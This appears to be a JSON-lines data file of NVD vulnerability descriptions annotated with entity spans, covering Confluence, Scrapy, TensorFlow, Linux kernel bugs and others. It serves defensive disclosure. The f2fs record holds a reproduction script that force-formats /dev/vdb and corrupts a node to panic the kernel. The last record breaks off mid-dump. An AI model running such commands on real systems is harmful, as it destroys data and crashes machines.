{"text": "This High severity Stored XSS vulnerability was introduced in version 2.7.0 of Confluence Data Center.\r\n\r\nThis Stored XSS vulnerability, with a CVSS Score of 8.5, allows an authenticated attacker to execute arbitrary HTML or JavaScript code on a victims browser which has high impact to confidentiality, low impact to integrity, no impact to availability, and requires no user interaction.\r\nData Center\r\n\r\nAtlassian recommends that Confluence Data Center customers upgrade to the latest version. If you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\r\n||Affected versions||Fixed versions||\r\n|from 8.7.0 to 8.7.1|8.8.0 recommended or 8.7.2|\r\n|from 8.6.0 to 8.6.1|8.8.0 recommended|\r\n|from 8.5.0 to 8.5.4 LTS|8.8.0 recommended or 8.5.5 LTS or 8.5.6 LTS|\r\n|from 8.4.0 to 8.4.5|8.8.0 recommended or 8.5.6 LTS|\r\n|from 8.3.0 to 8.3.4|8.8.0 recommended or 8.5.6 LTS|\r\n|from 8.2.0 to 8.2.3|8.8.0 recommended or 8.5.6 LTS|\r\n|from 8.1.0 to 8.1.4|8.8.0 recommended or 8.5.6 LTS|\r\n|from 8.0.0 to 8.0.4|8.8.0 recommended or 8.5.6 LTS|\r\n|from 7.20.0 to 7.20.3|8.8.0 recommended or 8.5.6 LTS|\r\n|from 7.19.0 to 7.19.17 LTS|8.8.0 recommended or 8.5.6 LTS or 7.19.18 LTS or 7.19.19 LTS|\r\n|from 7.18.0 to 7.18.3|8.8.0 recommended or 8.5.6 LTS or 7.19.19 LTS|\r\n|from 7.17.0 to 7.17.5|8.8.0 recommended or 8.5.6 LTS or 7.19.19 LTS|\r\n|Any earlier versions|8.8.0 recommended or 8.5.6 LTS or 7.19.19 LTS|\r\nServer\r\n\r\nAtlassian recommends that Confluence Server customers upgrade to the latest 8.5.x LTS version. If you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\r\n\r\n \r\n||Affected versions||Fixed versions||\r\n|from 8.5.0 to 8.5.4 LTS|8.5.5 LTS or 8.5.6 LTS recommended |\r\n|from 8.4.0 to 8.4.5|8.5.6 LTS recommended|\r\n|from 8.3.0 to 8.3.4|8.5.6 LTS recommended|\r\n|from 8.2.0 to 8.2.3|8.5.6 LTS recommended|\r\n|from 8.1.0 to 8.1.4|8.5.6 LTS recommended|\r\n|from 8.0.0 to 8.0.4|8.5.6 LTS recommended|\r\n|from 7.20.0 to 7.20.3|8.5.6 LTS recommended|\r\n|from 7.19.0 to 7.19.17 LTS|8.5.6 LTS recommended or 7.19.18 LTS or 7.19.19 LTS|\r\n|from 7.18.0 to 7.18.3|8.5.6 LTS recommended or 7.19.19 LTS|\r\n|from 7.17.0 to 7.17.5|8.5.6 LTS recommended or 7.19.19 LTS|\r\n|Any earlier versions|8.5.6 LTS recommended or 7.19.19 LTS|\r\n\r\nSee the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]).\r\n\r\nThis vulnerability was reported via our Bug Bounty program.", "spans": {"URL: https://confluence.atlassian.com/doc/confluence-release-notes-327.html]": [[2305, 2376]], "URL: https://www.atlassian.com/software/confluence/download-archives]": [[2468, 2532]], "ORGANIZATION: Atlassian": [[406, 415], [1437, 1446]], "VULNERABILITY: Stored XSS": [[19, 29], [111, 121]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-21678"}}
{"text": "Scrapy is a high-level web crawling and scraping framework for Python. If you use `HttpAuthMiddleware` (i.e. the `http_user` and `http_pass` spider attributes) for HTTP authentication, all requests will expose your credentials to the request target. This includes requests generated by Scrapy components, such as `robots.txt` requests sent by Scrapy when the `ROBOTSTXT_OBEY` setting is set to `True`, or as requests reached through redirects. Upgrade to Scrapy 2.5.1 and use the new `http_auth_domain` spider attribute to control which domains are allowed to receive the configured HTTP authentication credentials. If you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.5.1 is not an option, you may upgrade to Scrapy 1.8.1 instead. If you cannot upgrade, set your HTTP authentication credentials on a per-request basis, using for example the `w3lib.http.basic_auth_header` function to convert your credentials into a value that you can assign to the `Authorization` header of your request, instead of defining your credentials globally using `HttpAuthMiddleware`.", "spans": {"SYSTEM: Python": [[63, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41125"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to do sanity check on node footer for non inode dnode\n\nAs syzbot reported below:\n\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/file.c:1243!\nOops: invalid opcode: 0000 [#1] SMP KASAN NOPTI\nCPU: 0 UID: 0 PID: 5354 Comm: syz.0.0 Not tainted 6.17.0-rc1-syzkaller-00211-g90d970cade8e #0 PREEMPT(full)\nRIP: 0010:f2fs_truncate_hole+0x69e/0x6c0 fs/f2fs/file.c:1243\nCall Trace:\n <TASK>\n f2fs_punch_hole+0x2db/0x330 fs/f2fs/file.c:1306\n f2fs_fallocate+0x546/0x990 fs/f2fs/file.c:2018\n vfs_fallocate+0x666/0x7e0 fs/open.c:342\n ksys_fallocate fs/open.c:366 [inline]\n __do_sys_fallocate fs/open.c:371 [inline]\n __se_sys_fallocate fs/open.c:369 [inline]\n __x64_sys_fallocate+0xc0/0x110 fs/open.c:369\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f1e65f8ebe9\n\nw/ a fuzzed image, f2fs may encounter panic due to it detects inconsistent\ntruncation range in direct node in f2fs_truncate_hole().\n\nThe root cause is: a non-inode dnode may has the same footer.ino and\nfooter.nid, so the dnode will be parsed as an inode, then ADDRS_PER_PAGE()\nmay return wrong blkaddr count which may be 923 typically, by chance,\ndn.ofs_in_node is equal to 923, then count can be calculated to 0 in below\nstatement, later it will trigger panic w/ f2fs_bug_on(, count == 0 || ...).\n\n\tcount = min(end_offset - dn.ofs_in_node, pg_end - pg_start);\n\nThis patch introduces a new node_type NODE_TYPE_NON_INODE, then allowing\npassing the new_type to sanity_check_node_footer in f2fs_get_node_folio()\nto detect corruption that a non-inode dnode has the same footer.ino and\nfooter.nid.\n\nScripts to reproduce:\nmkfs.f2fs -f /dev/vdb\nmount /dev/vdb /mnt/f2fs\ntouch /mnt/f2fs/foo\ntouch /mnt/f2fs/bar\ndd if=/dev/zero of=/mnt/f2fs/foo bs=1M count=8\numount /mnt/f2fs\ninject.f2fs --node --mb i_nid --nid 4 --idx 0 --val 5 /dev/vdb\nmount /dev/vdb /mnt/f2fs\nxfs_io /mnt/f2fs/foo -c \"fpunch 6984k 4k\"", "spans": {"FILEPATH: /f2fs/file.c": [[214, 226], [432, 444], [501, 513], [549, 561]], "FILEPATH: /x86/entry/syscall_64.c": [[799, 822], [865, 888]], "FILEPATH: /dev/vdb": [[1789, 1797], [1804, 1812], [1981, 1989], [1996, 2004]], "FILEPATH: /mnt/f2fs": [[1813, 1822], [1917, 1926], [2005, 2014]], "FILEPATH: /mnt/f2fs/foo": [[1829, 1842], [1882, 1895], [2022, 2035]], "FILEPATH: /mnt/f2fs/bar": [[1849, 1862]], "FILEPATH: /dev/zero": [[1869, 1878]], "FILEPATH: open.c": [[597, 603], [627, 633], [670, 676], [713, 719], [768, 774]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40025"}}
{"text": "The Transaction Insight reporting component of TIBCO Software Inc.'s TIBCO Foresight Archive and Retrieval System, TIBCO Foresight Archive and Retrieval System Healthcare Edition, TIBCO Foresight Operational Monitor, TIBCO Foresight Operational Monitor Healthcare Edition, TIBCO Foresight Transaction Insight, and TIBCO Foresight Transaction Insight Healthcare Edition contains a vulnerability that theoretically allows an authenticated attacker to perform SQL injection. Affected releases are TIBCO Software Inc.'s TIBCO Foresight Archive and Retrieval System: versions 5.1.0 and below, version 5.2.0, TIBCO Foresight Archive and Retrieval System Healthcare Edition: versions 5.1.0 and below, version 5.2.0, TIBCO Foresight Operational Monitor: versions 5.1.0 and below, version 5.2.0, TIBCO Foresight Operational Monitor Healthcare Edition: versions 5.1.0 and below, version 5.2.0, TIBCO Foresight Transaction Insight: versions 5.1.0 and below, version 5.2.0, and TIBCO Foresight Transaction Insight Healthcare Edition: versions 5.1.0 and below, version 5.2.0.", "spans": {"VULNERABILITY: SQL injection": [[457, 470]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-9417"}}
{"text": "Himmelblau is an interoperability suite for Microsoft Azure Entra ID and Intune. Himmelblau versions 0.9.0 through 0.9.14 and 1.00-alpha are vulnerable to a privilege escalation issue when Entra ID group-based access restrictions are configured using group display names instead of object IDs. Starting in version 0.9.0, Himmelblau introduced support for specifying group names in the `pam_allow_groups` configuration option. However, Microsoft Entra ID permits the creation of multiple groups with the same `displayName` via the Microsoft Graph API—even by non-admin users, depending on tenant settings. As a result, a user could create a personal group with the same name as a legitimate access group (e.g., `\"Allow-Linux-Login\"`), add themselves to it, and be granted authentication or `sudo` rights by Himmelblau. Because affected Himmelblau versions compare group names by either `displayName` or by the immutable `objectId`, this allows bypassing access control mechanisms intended to restrict login to members of official, centrally-managed groups. This issue is fixed in Himmelblau version **0.9.15** and later. In these versions, group name matching in `pam_allow_groups` has been deprecated and removed, and only group `objectId`s (GUIDs) may be specified for secure group-based filtering. To mitigate the issue without upgrading, replace all entries in `pam_allow_groups` with the objectId of the target Entra ID group(s) and/or audit your tenant for groups with duplicate display names using the Microsoft Graph API.", "spans": {"SYSTEM: Linux": [[718, 723]], "SYSTEM: sudo": [[790, 794]], "ORGANIZATION: Microsoft": [[44, 53], [435, 444], [530, 539], [1508, 1517]], "VULNERABILITY: privilege escalation": [[157, 177]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-49012"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: handle the error returned from sctp_auth_asoc_init_active_key\n\nWhen it returns an error from sctp_auth_asoc_init_active_key(), the\nactive_key is actually not updated. The old sh_key will be freeed\nwhile it's still used as active key in asoc. Then an use-after-free\nwill be triggered when sending patckets, as found by syzbot:\n\n  sctp_auth_shkey_hold+0x22/0xa0 net/sctp/auth.c:112\n  sctp_set_owner_w net/sctp/socket.c:132 [inline]\n  sctp_sendmsg_to_asoc+0xbd5/0x1a20 net/sctp/socket.c:1863\n  sctp_sendmsg+0x1053/0x1d50 net/sctp/socket.c:2025\n  inet_sendmsg+0x99/0xe0 net/ipv4/af_inet.c:819\n  sock_sendmsg_nosec net/socket.c:714 [inline]\n  sock_sendmsg+0xcf/0x120 net/socket.c:734\n\nThis patch is to fix it by not replacing the sh_key when it returns\nerrors from sctp_auth_asoc_init_active_key() in sctp_auth_set_key().\nFor sctp_auth_set_active_key(), old active_key_id will be set back\nto asoc->active_key_id when the same thing happens.", "spans": {"FILEPATH: /sctp/auth.c": [[438, 450]], "FILEPATH: /sctp/socket.c": [[477, 491], [544, 558], [596, 610]], "FILEPATH: /ipv4/af_inet.c": [[644, 659]], "FILEPATH: socket.c": [[689, 697], [741, 749]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[325, 339]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50243"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ufs: core: mcq: Fix &hwq->cq_lock deadlock issue\n\nWhen ufshcd_err_handler() is executed, CQ event interrupt can enter waiting\nfor the same lock. This can happen in ufshcd_handle_mcq_cq_events() and\nalso in ufs_mtk_mcq_intr(). The following warning message will be generated\nwhen &hwq->cq_lock is used in IRQ context with IRQ enabled. Use\nufshcd_mcq_poll_cqe_lock() with spin_lock_irqsave instead of spin_lock to\nresolve the deadlock issue.\n\n[name:lockdep&]WARNING: inconsistent lock state\n[name:lockdep&]--------------------------------\n[name:lockdep&]inconsistent {IN-HARDIRQ-W} -> {HARDIRQ-ON-W} usage.\n[name:lockdep&]kworker/u16:4/260 [HC0[0]:SC0[0]:HE1:SE1] takes:\n  ffffff8028444600 (&hwq->cq_lock){?.-.}-{2:2}, at:\nufshcd_mcq_poll_cqe_lock+0x30/0xe0\n[name:lockdep&]{IN-HARDIRQ-W} state was registered at:\n  lock_acquire+0x17c/0x33c\n  _raw_spin_lock+0x5c/0x7c\n  ufshcd_mcq_poll_cqe_lock+0x30/0xe0\n  ufs_mtk_mcq_intr+0x60/0x1bc [ufs_mediatek_mod]\n  __handle_irq_event_percpu+0x140/0x3ec\n  handle_irq_event+0x50/0xd8\n  handle_fasteoi_irq+0x148/0x2b0\n  generic_handle_domain_irq+0x4c/0x6c\n  gic_handle_irq+0x58/0x134\n  call_on_irq_stack+0x40/0x74\n  do_interrupt_handler+0x84/0xe4\n  el1_interrupt+0x3c/0x78\n<snip>\n\nPossible unsafe locking scenario:\n       CPU0\n       ----\n  lock(&hwq->cq_lock);\n  <Interrupt>\n    lock(&hwq->cq_lock);\n  *** DEADLOCK ***\n2 locks held by kworker/u16:4/260:\n\n[name:lockdep&]\n stack backtrace:\nCPU: 7 PID: 260 Comm: kworker/u16:4 Tainted: G S      W  OE\n6.1.17-mainline-android14-2-g277223301adb #1\nWorkqueue: ufs_eh_wq_0 ufshcd_err_handler\n\n Call trace:\n  dump_backtrace+0x10c/0x160\n  show_stack+0x20/0x30\n  dump_stack_lvl+0x98/0xd8\n  dump_stack+0x20/0x60\n  print_usage_bug+0x584/0x76c\n  mark_lock_irq+0x488/0x510\n  mark_lock+0x1ec/0x25c\n  __lock_acquire+0x4d8/0xffc\n  lock_acquire+0x17c/0x33c\n  _raw_spin_lock+0x5c/0x7c\n  ufshcd_mcq_poll_cqe_lock+0x30/0xe0\n  ufshcd_poll+0x68/0x1b0\n  ufshcd_transfer_req_compl+0x9c/0xc8\n  ufshcd_err_handler+0x3bc/0xea0\n  process_one_work+0x2f4/0x7e8\n  worker_thread+0x234/0x450\n  kthread+0x110/0x134\n  ret_from_fork+0x10/0x20", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53760"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: ralink: mtmips: fix clocks probe order in oldest ralink SoCs\n\nBase clocks are the first in being probed and are real dependencies of the\nrest of fixed, factor and peripheral clocks. For old ralink SoCs RT2880,\nRT305x and RT3883 'xtal' must be defined first since in any other case,\nwhen fixed clocks are probed they are delayed until 'xtal' is probed so the\nfollowing warning appears:\n\n WARNING: CPU: 0 PID: 0 at drivers/clk/ralink/clk-mtmips.c:499 rt3883_bus_recalc_rate+0x98/0x138\n Modules linked in:\n CPU: 0 PID: 0 Comm: swapper Not tainted 6.6.43 #0\n Stack : 805e58d0 00000000 00000004 8004f950 00000000 00000004 00000000 00000000\n 80669c54 80830000 80700000 805ae570 80670068 00000001 80669bf8 00000000\n 00000000 00000000 805ae570 80669b38 00000020 804db7dc 00000000 00000000\n 203a6d6d 80669b78 80669e48 70617773 00000000 805ae570 00000000 00000009\n 00000000 00000001 00000004 00000001 00000000 00000000 83fe43b0 00000000\n ...\n Call Trace:\n [<800065d0>] show_stack+0x64/0xf4\n [<804bca14>] dump_stack_lvl+0x38/0x60\n [<800218ac>] __warn+0x94/0xe4\n [<8002195c>] warn_slowpath_fmt+0x60/0x94\n [<80259ff8>] rt3883_bus_recalc_rate+0x98/0x138\n [<80254530>] __clk_register+0x568/0x688\n [<80254838>] of_clk_hw_register+0x18/0x2c\n [<8070b910>] rt2880_clk_of_clk_init_driver+0x18c/0x594\n [<8070b628>] of_clk_init+0x1c0/0x23c\n [<806fc448>] plat_time_init+0x58/0x18c\n [<806fdaf0>] time_init+0x10/0x6c\n [<806f9bc4>] start_kernel+0x458/0x67c\n\n ---[ end trace 0000000000000000 ]---\n\nWhen this driver was mainlined we could not find any active users of old\nralink SoCs so we cannot perform any real tests for them. Now, one user\nof a Belkin f9k1109 version 1 device which uses RT3883 SoC appeared and\nreported some issues in openWRT:\n- https://github.com/openwrt/openwrt/issues/16054\n\nThus, define a 'rt2880_xtal_recalc_rate()' just returning the expected\nfrequency 40Mhz and use it along the old ralink SoCs to have a correct\nboot trace with no warnings and a working clock plan from the beggining.", "spans": {"URL: https://github.com/openwrt/openwrt/issues/16054": [[1797, 1844]], "FILEPATH: /clk/ralink/clk-mtmips.c": [[494, 518]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53223"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116": [[225, 364]], "VULNERABILITY: denial of service": [[171, 188]], "VULNERABILITY: type confusion": [[469, 483]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29519"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nremoteproc: core: Release rproc->clean_table after rproc_attach() fails\n\nWhen rproc->state = RPROC_DETACHED is attached to remote processor\nthrough rproc_attach(), if rproc_handle_resources() returns failure,\nthen the clean table should be released, otherwise the following\nmemory leak will occur.\n\nunreferenced object 0xffff000086a99800 (size 1024):\ncomm \"kworker/u12:3\", pid 59, jiffies 4294893670 (age 121.140s)\nhex dump (first 32 bytes):\n00 00 00 00 00 80 00 00 00 00 00 00 00 00 10 00 ............\n00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 ............\nbacktrace:\n [<000000008bbe4ca8>] slab_post_alloc_hook+0x98/0x3fc\n [<000000003b8a272b>] __kmem_cache_alloc_node+0x13c/0x230\n [<000000007a507c51>] __kmalloc_node_track_caller+0x5c/0x260\n [<0000000037818dae>] kmemdup+0x34/0x60\n [<00000000610f7f57>] rproc_boot+0x35c/0x56c\n [<0000000065f8871a>] rproc_add+0x124/0x17c\n [<00000000497416ee>] imx_rproc_probe+0x4ec/0x5d4\n [<000000003bcaa37d>] platform_probe+0x68/0xd8\n [<00000000771577f9>] really_probe+0x110/0x27c\n [<00000000531fea59>] __driver_probe_device+0x78/0x12c\n [<0000000080036a04>] driver_probe_device+0x3c/0x118\n [<000000007e0bddcb>] __device_attach_driver+0xb8/0xf8\n [<000000000cf1fa33>] bus_for_each_drv+0x84/0xe4\n [<000000001a53b53e>] __device_attach+0xfc/0x18c\n [<00000000d1a2a32c>] device_initial_probe+0x14/0x20\n [<00000000d8f8b7ae>] bus_probe_device+0xb0/0xb4\n unreferenced object 0xffff0000864c9690 (size 16):", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[343, 354]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38418"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfirmware: arm_ffa: Fix FFA device names for logical partitions\n\nEach physical partition can provide multiple services each with UUID.\nEach such service can be presented as logical partition with a unique\ncombination of VM ID and UUID. The number of distinct UUID in a system\nwill be less than or equal to the number of logical partitions.\n\nHowever, currently it fails to register more than one logical partition\nor service within a physical partition as the device name contains only\nVM ID while both VM ID and UUID are maintained in the partition information.\nThe kernel complains with the below message:\n\n  | sysfs: cannot create duplicate filename '/devices/arm-ffa-8001'\n  | CPU: 1 PID: 1 Comm: swapper/0 Not tainted 6.3.0-rc7 #8\n  | Hardware name: FVP Base RevC (DT)\n  | Call trace:\n  |  dump_backtrace+0xf8/0x118\n  |  show_stack+0x18/0x24\n  |  dump_stack_lvl+0x50/0x68\n  |  dump_stack+0x18/0x24\n  |  sysfs_create_dir_ns+0xe0/0x13c\n  |  kobject_add_internal+0x220/0x3d4\n  |  kobject_add+0x94/0x100\n  |  device_add+0x144/0x5d8\n  |  device_register+0x20/0x30\n  |  ffa_device_register+0x88/0xd8\n  |  ffa_setup_partitions+0x108/0x1b8\n  |  ffa_init+0x2ec/0x3a4\n  |  do_one_initcall+0xcc/0x240\n  |  do_initcall_level+0x8c/0xac\n  |  do_initcalls+0x54/0x94\n  |  do_basic_setup+0x1c/0x28\n  |  kernel_init_freeable+0x100/0x16c\n  |  kernel_init+0x20/0x1a0\n  |  ret_from_fork+0x10/0x20\n  | kobject_add_internal failed for arm-ffa-8001 with -EEXIST, don't try to\n  | register things with the same name in the same directory.\n  | arm_ffa arm-ffa: unable to register device arm-ffa-8001 err=-17\n  | ARM FF-A: ffa_setup_partitions: failed to register partition ID 0x8001\n\nBy virtue of being random enough to avoid collisions when generated in a\ndistributed system, there is no way to compress UUID keys to the number\nof bits required to identify each. We can eliminate '-' in the name but\nit is not worth eliminating 4 bytes and add unnecessary logic for doing\nthat. Also v1.0 doesn't provide the UUID of the partitions which makes\nit hard to use the same for the device name.\n\nSo to keep it simple, let us alloc an ID using ida_alloc() and append the\nsame to \"arm-ffa\" to make up a unique device name. Also stash the id value\nin ffa_dev to help freeing the ID later when the device is destroyed.", "spans": {"FILEPATH: /devices/arm-ffa-8001": [[721, 742]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53256"}}
{"text": "Piccolo is an ORM and query builder which supports asyncio. In versions 0.120.0 and prior, the implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on its own does not also enforce strong passwords, these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform. The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform. The likelihood of this vulnerability is possible as it requires minimal skills to pull off, especially given the underlying login functionality for Piccolo based sites is open source. This issue has been patched in version 0.121.0.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-41885"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can trigger a denial of service via a segmentation fault in `tf.raw_ops.MaxPoolGrad` caused by missing validation. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/maxpooling_op.cc) misses some validation for the `orig_input` and `orig_output` tensors. The fixes for CVE-2021-29579 were incomplete. We have patched the issue in GitHub commit 136b51f10903e044308cf77117c0ed9871350475. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"CVE_ID: CVE-2021-29579": [[454, 468]], "URL: https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/maxpooling_op.cc": [[240, 367]], "HASH: 136b51f10903e044308cf77117c0ed9871350475": [[529, 569]], "ORGANIZATION: GitHub": [[515, 521]], "VULNERABILITY: denial of service": [[118, 135]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37674"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: Use RCU in blk_mq_[un]quiesce_tagset() instead of set->tag_list_lock\n\nblk_mq_{add,del}_queue_tag_set() functions add and remove queues from\ntagset, the functions make sure that tagset and queues are marked as\nshared when two or more queues are attached to the same tagset.\nInitially a tagset starts as unshared and when the number of added\nqueues reaches two, blk_mq_add_queue_tag_set() marks it as shared along\nwith all the queues attached to it. When the number of attached queues\ndrops to 1 blk_mq_del_queue_tag_set() need to mark both the tagset and\nthe remaining queues as unshared.\n\nBoth functions need to freeze current queues in tagset before setting on\nunsetting BLK_MQ_F_TAG_QUEUE_SHARED flag. While doing so, both functions\nhold set->tag_list_lock mutex, which makes sense as we do not want\nqueues to be added or deleted in the process. This used to work fine\nuntil commit 98d81f0df70c (\"nvme: use blk_mq_[un]quiesce_tagset\")\nmade the nvme driver quiesce tagset instead of quiscing individual\nqueues. blk_mq_quiesce_tagset() does the job and quiesce the queues in\nset->tag_list while holding set->tag_list_lock also.\n\nThis results in deadlock between two threads with these stacktraces:\n\n  __schedule+0x47c/0xbb0\n  ? timerqueue_add+0x66/0xb0\n  schedule+0x1c/0xa0\n  schedule_preempt_disabled+0xa/0x10\n  __mutex_lock.constprop.0+0x271/0x600\n  blk_mq_quiesce_tagset+0x25/0xc0\n  nvme_dev_disable+0x9c/0x250\n  nvme_timeout+0x1fc/0x520\n  blk_mq_handle_expired+0x5c/0x90\n  bt_iter+0x7e/0x90\n  blk_mq_queue_tag_busy_iter+0x27e/0x550\n  ? __blk_mq_complete_request_remote+0x10/0x10\n  ? __blk_mq_complete_request_remote+0x10/0x10\n  ? __call_rcu_common.constprop.0+0x1c0/0x210\n  blk_mq_timeout_work+0x12d/0x170\n  process_one_work+0x12e/0x2d0\n  worker_thread+0x288/0x3a0\n  ? rescuer_thread+0x480/0x480\n  kthread+0xb8/0xe0\n  ? kthread_park+0x80/0x80\n  ret_from_fork+0x2d/0x50\n  ? kthread_park+0x80/0x80\n  ret_from_fork_asm+0x11/0x20\n\n  __schedule+0x47c/0xbb0\n  ? xas_find+0x161/0x1a0\n  schedule+0x1c/0xa0\n  blk_mq_freeze_queue_wait+0x3d/0x70\n  ? destroy_sched_domains_rcu+0x30/0x30\n  blk_mq_update_tag_set_shared+0x44/0x80\n  blk_mq_exit_queue+0x141/0x150\n  del_gendisk+0x25a/0x2d0\n  nvme_ns_remove+0xc9/0x170\n  nvme_remove_namespaces+0xc7/0x100\n  nvme_remove+0x62/0x150\n  pci_device_remove+0x23/0x60\n  device_release_driver_internal+0x159/0x200\n  unbind_store+0x99/0xa0\n  kernfs_fop_write_iter+0x112/0x1e0\n  vfs_write+0x2b1/0x3d0\n  ksys_write+0x4e/0xb0\n  do_syscall_64+0x5b/0x160\n  entry_SYSCALL_64_after_hwframe+0x4b/0x53\n\nThe top stacktrace is showing nvme_timeout() called to handle nvme\ncommand timeout. timeout handler is trying to disable the controller and\nas a first step, it needs to blk_mq_quiesce_tagset() to tell blk-mq not\nto call queue callback handlers. The thread is stuck waiting for\nset->tag_list_lock as it tries to walk the queues in set->tag_list.\n\nThe lock is held by the second thread in the bottom stack which is\nwaiting for one of queues to be frozen. The queue usage counter will\ndrop to zero after nvme_timeout() finishes, and this will not happen\nbecause the thread will wait for this mutex forever.\n\nGiven that [un]quiescing queue is an operation that does not need to\nsleep, update blk_mq_[un]quiesce_tagset() to use RCU instead of taking\nset->tag_list_lock, update blk_mq_{add,del}_queue_tag_set() to use RCU\nsafe list operations. Also, delete INIT_LIST_HEAD(&q->tag_set_list)\nin blk_mq_del_queue_tag_set() because we can not re-initialize it while\nthe list is being traversed under RCU. The deleted queue will not be\nadded/deleted to/from a tagset and it will be freed in blk_free_queue()\nafter the end of RCU grace period.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68756"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/arm-smmu: Use the correct type in nvidia_smmu_context_fault()\n\nThis was missed because of the function pointer indirection.\n\nnvidia_smmu_context_fault() is also installed as a irq function, and the\n'void *' was changed to a struct arm_smmu_domain. Since the iommu_domain\nis embedded at a non-zero offset this causes nvidia_smmu_context_fault()\nto miscompute the offset. Fixup the types.\n\n  Unable to handle kernel NULL pointer dereference at virtual address 0000000000000120\n  Mem abort info:\n    ESR = 0x0000000096000004\n    EC = 0x25: DABT (current EL), IL = 32 bits\n    SET = 0, FnV = 0\n    EA = 0, S1PTW = 0\n    FSC = 0x04: level 0 translation fault\n  Data abort info:\n    ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n    CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n    GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n  user pgtable: 4k pages, 48-bit VAs, pgdp=0000000107c9f000\n  [0000000000000120] pgd=0000000000000000, p4d=0000000000000000\n  Internal error: Oops: 0000000096000004 [#1] SMP\n  Modules linked in:\n  CPU: 1 PID: 47 Comm: kworker/u25:0 Not tainted 6.9.0-0.rc7.58.eln136.aarch64 #1\n  Hardware name: Unknown NVIDIA Jetson Orin NX/NVIDIA Jetson Orin NX, BIOS 3.1-32827747 03/19/2023\n  Workqueue: events_unbound deferred_probe_work_func\n  pstate: 604000c9 (nZCv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  pc : nvidia_smmu_context_fault+0x1c/0x158\n  lr : __free_irq+0x1d4/0x2e8\n  sp : ffff80008044b6f0\n  x29: ffff80008044b6f0 x28: ffff000080a60b18 x27: ffffd32b5172e970\n  x26: 0000000000000000 x25: ffff0000802f5aac x24: ffff0000802f5a30\n  x23: ffff0000802f5b60 x22: 0000000000000057 x21: 0000000000000000\n  x20: ffff0000802f5a00 x19: ffff000087d4cd80 x18: ffffffffffffffff\n  x17: 6234362066666666 x16: 6630303078302d30 x15: ffff00008156d888\n  x14: 0000000000000000 x13: ffff0000801db910 x12: ffff00008156d6d0\n  x11: 0000000000000003 x10: ffff0000801db918 x9 : ffffd32b50f94d9c\n  x8 : 1fffe0001032fda1 x7 : ffff00008197ed00 x6 : 000000000000000f\n  x5 : 000000000000010e x4 : 000000000000010e x3 : 0000000000000000\n  x2 : ffffd32b51720cd8 x1 : ffff000087e6f700 x0 : 